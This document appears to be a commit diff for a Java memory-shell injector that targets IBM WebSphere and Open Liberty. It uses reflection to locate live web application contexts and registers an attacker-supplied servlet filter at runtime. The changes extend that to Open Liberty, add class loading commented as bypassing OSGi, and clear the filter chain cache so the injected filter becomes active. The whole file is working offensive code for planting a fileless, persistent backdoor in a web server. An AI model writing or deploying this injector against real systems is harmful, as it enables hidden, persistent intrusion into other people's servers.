|
1 | 1 | package com.reajason.javaweb.memshell.injector.websphere; |
2 | 2 |
|
3 | | -import javax.servlet.Filter; |
4 | 3 | import java.io.ByteArrayInputStream; |
5 | 4 | import java.io.ByteArrayOutputStream; |
6 | 5 | import java.io.IOException; |
|
14 | 13 |
|
15 | 14 |
|
16 | 15 | /** |
17 | | - * tested v7、v8 |
18 | | - * update 2023/07/08 |
19 | | - * |
20 | 16 | * @author ReaJason |
21 | 17 | */ |
22 | 18 | public class WebSphereFilterInjector { |
@@ -46,7 +42,7 @@ public WebSphereFilterInjector() { |
46 | 42 | } catch (Throwable throwable) { |
47 | 43 | msg += "context error: " + getErrorMessage(throwable); |
48 | 44 | } |
49 | | - if (contexts == null) { |
| 45 | + if (contexts == null || contexts.isEmpty()) { |
50 | 46 | msg += "context not found"; |
51 | 47 | } else { |
52 | 48 | for (Object context : contexts) { |
@@ -87,20 +83,40 @@ private String getContextRoot(Object context) { |
87 | 83 | */ |
88 | 84 | public Set<Object> getContext() throws Exception { |
89 | 85 | Set<Object> contexts = new HashSet<Object>(); |
90 | | - Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); |
91 | | - for (Object wsThreadLocal : wsThreadLocals) { |
| 86 | + Object[] threadLocals = null; |
| 87 | + boolean raw = false; |
| 88 | + try { |
| 89 | + // WebSphere Liberty |
| 90 | + threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); |
| 91 | + } catch (NoSuchFieldException e) { |
| 92 | + // Open Liberty |
| 93 | + threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table"); |
| 94 | + raw = true; |
| 95 | + } |
| 96 | + for (Object threadLocal : threadLocals) { |
| 97 | + if (threadLocal == null) { |
| 98 | + continue; |
| 99 | + } |
| 100 | + Object value = threadLocal; |
| 101 | + if (raw) { |
| 102 | + value = getFieldValue(threadLocal, "value"); |
| 103 | + } |
| 104 | + if (value == null) { |
| 105 | + continue; |
| 106 | + } |
92 | 107 | // for websphere 7.x |
93 | | - if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { |
94 | | - Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); |
| 108 | + if (value.getClass().getName().endsWith("FastStack")) { |
| 109 | + Object[] stackList = (Object[]) getFieldValue(value, "stack"); |
95 | 110 | for (Object stack : stackList) { |
96 | 111 | try { |
97 | 112 | Object config = getFieldValue(stack, "config"); |
98 | 113 | contexts.add(getFieldValue(getFieldValue(config, "context"), "context")); |
99 | 114 | } catch (Exception ignored) { |
100 | 115 | } |
101 | 116 | } |
102 | | - } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; |
103 | | - contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); |
| 117 | + } else if (value.getClass().getName().endsWith("WebContainerRequestState")) { |
| 118 | + Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null); |
| 119 | + contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context")); |
104 | 120 | } |
105 | 121 | } |
106 | 122 | return contexts; |
@@ -137,45 +153,54 @@ public void inject(Object context, Object filter) throws Exception { |
137 | 153 | return; |
138 | 154 | } |
139 | 155 |
|
140 | | - ClassLoader classLoader = context.getClass().getClassLoader(); |
141 | | - Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); |
142 | | - Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); |
143 | | - Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig"); |
| 156 | + Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping"); |
| 157 | + Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig"); |
| 158 | + Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig"); |
144 | 159 |
|
145 | 160 | Object filterManager = getFieldValue(context, "filterManager"); |
| 161 | + Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()}); |
| 162 | + invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()}); |
146 | 163 | try { |
147 | | - // v8 |
| 164 | + // v8+ |
| 165 | + invokeMethod(getFieldValue(context, "config"), "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig}); |
| 166 | + |
148 | 167 | Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass); |
149 | | - // com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter |
150 | | - setFieldValue(context, "initialized", false); |
151 | | - Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()}); |
152 | 168 | Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null); |
153 | | - setFieldValue(context, "initialized", true); |
154 | | - |
155 | | - // com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping |
156 | 169 | invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping}); |
157 | | - |
158 | | - // com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter |
159 | 170 | invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()}); |
160 | | - |
161 | 171 | } catch (Exception e) { |
162 | 172 | // v7 |
163 | | - Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()}); |
164 | | - invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()}); |
165 | | - setFieldValue(filterConfig, "dispatchMode", new int[]{0}); |
166 | | - setFieldValue(filterConfig, "name", getClassName()); |
167 | 173 | invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig}); |
168 | 174 | invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()}); |
169 | 175 | } |
| 176 | + |
170 | 177 | // 清除缓存 |
171 | | - invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null); |
| 178 | + Object chainCache = getFieldValue(filterManager, "chainCache"); |
| 179 | + try { |
| 180 | + invokeMethod(chainCache, "clear", null, null); |
| 181 | + } catch (Exception e) { |
| 182 | + invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null); |
| 183 | + } |
172 | 184 | } |
173 | 185 |
|
174 | 186 | @Override |
175 | 187 | public String toString() { |
176 | 188 | return msg; |
177 | 189 | } |
178 | 190 |
|
| 191 | + // bypass osgi |
| 192 | + public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException { |
| 193 | + if (context.equals(Object.class)) { |
| 194 | + throw new ClassNotFoundException(className); |
| 195 | + } |
| 196 | + ClassLoader loader = context.getClassLoader(); |
| 197 | + try { |
| 198 | + return loader.loadClass(className); |
| 199 | + } catch (ClassNotFoundException e) { |
| 200 | + return loadClass(context.getSuperclass(), className); |
| 201 | + } |
| 202 | + } |
| 203 | + |
179 | 204 | @SuppressWarnings("all") |
180 | 205 | public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws |
181 | 206 | Exception { |
|
0 commit comments